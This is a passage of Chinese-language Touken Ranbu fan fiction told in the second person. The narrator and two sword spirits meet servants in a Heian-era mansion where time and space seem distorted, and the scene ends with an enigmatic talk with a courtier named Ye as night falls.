北侧对屋的庭院里,山姥切国广半蹲在一座假山后,将身形完全隐没在阴影中。他的白布与庭院的白砂几乎融为一体,警惕地注视着某个方向。
你顺着山姥切的视线望去,只见对屋的北庇下,藤子正静静地跪坐着。在她身后,紫色的藤萝花如瀑布般垂下,衬得她本就苍白的脸颊更显虚幻。
那片区域是寝殿主人的私人空间。就算原本世界中,「藤原高子」和「在原业平」已经认识许久,但按照「藤子」和「叶」刚才的反应,应该只是初识。她一个“外人”,为何能在那儿?难道一见钟情的力量真的那么伟大?
而更让你奇怪是另一件事。
你记得很清楚,之前在南侧,庭院里盛开的是墨色的山樱。而这里,却是紫藤。一个寝殿,两个季节。
就在此时,一阵若有若无的宴乐声从寝殿另一侧传来,夹杂着男男女女的嬉笑,听起来热闹非凡,却又遥远得像是另一张书页的回响。
一个身影从寝殿通往庭院的廊道上走出——是侍女「歌」。
你的瞳孔骤然收缩。不对!你刚刚才在主殿南面看到她捧着枫叶离开。这里是北侧,就算跑过来,也不可能这么快……难道这里的时间和空间是错乱的!?
「歌」似乎没有注意到你们,径直朝另一个方向走去。但另一个声音却厉声喝住了她。
“站住!鬼鬼祟祟的,是什么人!快滚出来!”
一名武士打扮的侍从从另一侧的阴影里走出,手已经按在了刀柄上。他不仅喝止了「歌」,目光也同时锁定了假山后的你们。
气氛瞬间凝固。
山姥切和笹贯的身体同时绷紧,杀气一闪而过。眼看冲突一触即发——
你率先从假山的阴影处走出。“是我。”
你平静地站在了刀剑男士与那名侍从之间,用自己的身体隔开了双方的视线。
侍从愣了下,似乎没想到你会那么坦然的面对他。
「歌」也停下脚步,回头看到这一幕,连忙走过来解释:“大人,请息怒。这几位,是救了藤子小姐的恩人。”
“啊,是吗?”侍从敌意微微消减,打量你们一眼,生硬行礼,“失礼了。”
这两人似乎都心事重重。
你语气温和,仿佛随口闲聊,“看二位行色匆匆,是殿内有什么要事吗?”
“啊,是的……”侍女叹了口气,“今天是……「除目」的日子。”
“「除目」?”
旁边的侍从也冷哼一声,插话道:“可不是吗。一年两次的官位评定,我家主人却已经连续三年未得升迁。只因……唉!”
他似乎想说什么,又碍于身份闭上了嘴,脸上满是愤懑不平。
“歌”见状,接过话头,“都怪主人太受欢迎了……朝中那些大人,都因此排挤他……实在太可怜了。”
“受欢迎?”你想象不出来受欢迎会被排挤的原因,难道是担心拉结党派?
笹贯在你身后,用只有你能听到的气音低语:“主君,此处的‘受欢迎’,就是受女人欢迎的意思啦……”
仿佛是为了印证他的话,那侍从又忿忿地补充道:“主人不过是风雅了些,喜欢与人吟风弄月,何罪之有!倒是藤子小姐……唉,她与主人,恐怕……”
侍从也将「藤原高子」称为「藤子」。
“闭嘴!”歌急切地制止了他,“主人的事,岂容你我置喙!快走,宴席上还等着呢!”
两人仿佛在掩饰什么,互相使了个眼色,匆匆朝着宴乐声传来的方向走去。叶的身影恰好从主殿方向的廊道出现,他们一看到,更是加快脚步,几乎是摇摇晃晃地逃走了。
几句残破的话语飘散在空气中:
“……身份天差地别……”
“……如今藤原家一手遮天……”
叶来到你们面前,露出温和的微笑。他的目光扫过离开的侍女和侍从,转向你们,“我的侍从们有些过于紧张了,他们只是想保护我。希望没有惊扰到您们。”
“您的守卫们总是出现的很及时。”你侧旁敲击,“就好像凭空出现一样。”
“凭空出现吗?”叶问道,“我有时候也搞不清楚他们想做什么呢?”
“你现在知道什么了吗?”叶望向角落里墨色的山樱。
你沉默不语。
“还不知道吗?这样最好。”叶也笑了,“我有时候也觉得什么也不知道比较好呢。”
你垂下眼睛,叶是有影子的,但是比正常人的影子淡一些。“很遗憾吧。我是个无趣的人。”
“在别人说之前说这句话,没想到林大人也挺自我的。”叶笑着用扇子挡住嘴唇,转向藤子的方向,“众口铄金,又何必去堵?不如任其随风而去。我只想什么也不去想,好好地享受现在的生活。”
这句话好像在哪听过。
“‘话’……吗?”
“那个……要点灯吗?”一个侍女从阴影中走出。
白天那惨白的光线被染上了暧昧的橘红,让一切景物都显得不真切起来。
昏黄的天光将叶的半边脸照亮,另一半则隐没在更深的黑暗中。
夜晚悄然来临。